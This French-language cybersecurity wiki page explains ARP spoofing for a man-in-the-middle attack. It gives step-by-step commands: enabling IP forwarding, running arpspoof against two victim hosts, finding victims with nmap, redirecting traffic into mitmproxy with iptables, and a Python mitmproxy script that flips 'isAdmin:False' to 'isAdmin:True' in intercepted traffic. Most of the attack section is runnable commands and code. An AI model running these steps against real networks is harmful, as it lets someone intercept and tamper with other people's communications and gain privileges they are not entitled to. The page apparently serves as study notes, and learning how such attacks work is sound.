> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/reseau/man-in-the-middle/arp-spoofing.md).

# ARP Spoofing

ou ARP Poisoning

## Objectif

Intercepter les flux sur le réseau en se plaçant en Man In The Middle.

On se place dans un cas où:

* on a accès à une machine sur un réseau `192.168.1.0/24`
  * `192.168.1.2`
* on veut intercepter les flux entre 2 autres machines présentes sur ce réseau
  * `192.168.1.3`
  * `192.168.1.4`

{% hint style="info" %}
Pour communiquer, les machines ont besoin de connaître les adresses MAC des autres. Elles possèdent chacune une table ARP qui fait le lien entre les adresses IP et MAC.&#x20;
{% endhint %}

Le but d'une attaque ARP Spoofing est de modifier les tables ARP des autres machines pour se faire passer pour une machine $$A$$ auprès d'une machine $$B$$ (et inversement). La machine $$A$$ nous enverra donc ses paquets en pensant communiquer avec $$B$$. On peut ensuite rediriger ces flux vers $$B$$ après les avoir potentiellement modifiés (ou juste observés).

```
[victime1 (192.168.1.3)] <-----------> [moi (192.168.1.2)] <-----------> [victime2 192.168.1.4]
```

## Attaque

Pour que notre machine transmette bien les paquets aux 2 autres après réception il faut activer l'IP forwarding.

```
sudo echo '1' > /proc/sys/net/ipv4/ip_forward
```

On installe arpspoof.

```
sudo apt install dsniff
```

On lance l'attaque.

{% hint style="info" %}
Pour que l'attaque ait lieu dans les 2 sens et qu'on puisse intercepter les requêtes et les réponses des 2 machines, il faut utiliser l'option `-r`.
{% endhint %}

```
arpspoof -t 192.168.1.3 192.168.1.4 -r
```

{% hint style="success" %}
En pratique on peut utiliser nmap pour scanner le réseau local et identifier des victimes (une machine sur le réseau, un serveur en écoute, etc.).

```
sudo apt install nmap
nmap <ip_reseau>/<masque>
```

{% endhint %}

Maintenant que les flux des 2 machines victimes passent par la notre on peut capturer les flux avec `mitmproxy`.

### Modifier les flux

`mitmproxy` peut être utilisé pour modifier les flux.

```
sudo apt install mitmproxy
```

Une interface web et une autre en ligne de commande sont disponibles. La [documentation](https://docs.mitmproxy.org/stable/) est solide.

Par défaut, `mitmproxy` écoute sur le port 8080. Il faut rediriger les flux vers le port 8080 pour que le proxy intercepte les requêtes.

On fait la redirection avec `iptables`.

```
sudo iptables -t nat -A PREROUTING -p tcp --dport <changeme> -j REDIRECT --to-port 8080
```

{% hint style="success" %}
Par exemple si 192.168.1.4 est un serveur qui écoute sur le port 1212, on redirige les flux en direction de ce port vers celui de mitmproxy. Toutes les requêtes de l'autre machine victime (192.168.1.3) vers le serveur passent ainsi par le proxy.

```
sudo iptables -t nat -A PREROUTING -p tcp --dport 1212 -j REDIRECT --to-port 8080
```

{% endhint %}

On lance mitmproxy et on modifie les flux interceptés avant de les forwarder.

```
mitmproxy --mode transparent --ssl-insecure
```

**Interception**

La documentation liste les filtres à utiliser en fonction de ce qu'on veut intercepter (requête, réponse, http, etc.)

{% embed url="<https://docs.mitmproxy.org/stable/concepts-filters/>" %}

**Script**

On peut écrire des scripts python pour modifier les flux.

{% embed url="<https://docs.mitmproxy.org/stable/addons-examples/>" %}

```
mitmproxy --mode transparent --ssl-insecure --script script.py
```

{% hint style="info" %}
Le script est rechargé par mitmproxy à chaque enregistrement (pas besoin de le redémarrer).
{% endhint %}

{% hint style="success" %}
Exemple pour modifier le contenu d'un paquet TCP.

```python
# exemple tiré de la documentation (tcp-simple.py)
import logging

from mitmproxy import tcp
from mitmproxy.utils import strutils

def tcp_message(flow: tcp.TCPFlow):
    message = flow.messages[-1]
    message.content = message.content.replace(b"isAdmin:False", b"isAdmin:True")

    logging.info(
        f"tcp_message[from_client={message.from_client}), content={strutils.bytes_to_escaped_str(message.content)}]"
    )
```

{% endhint %}
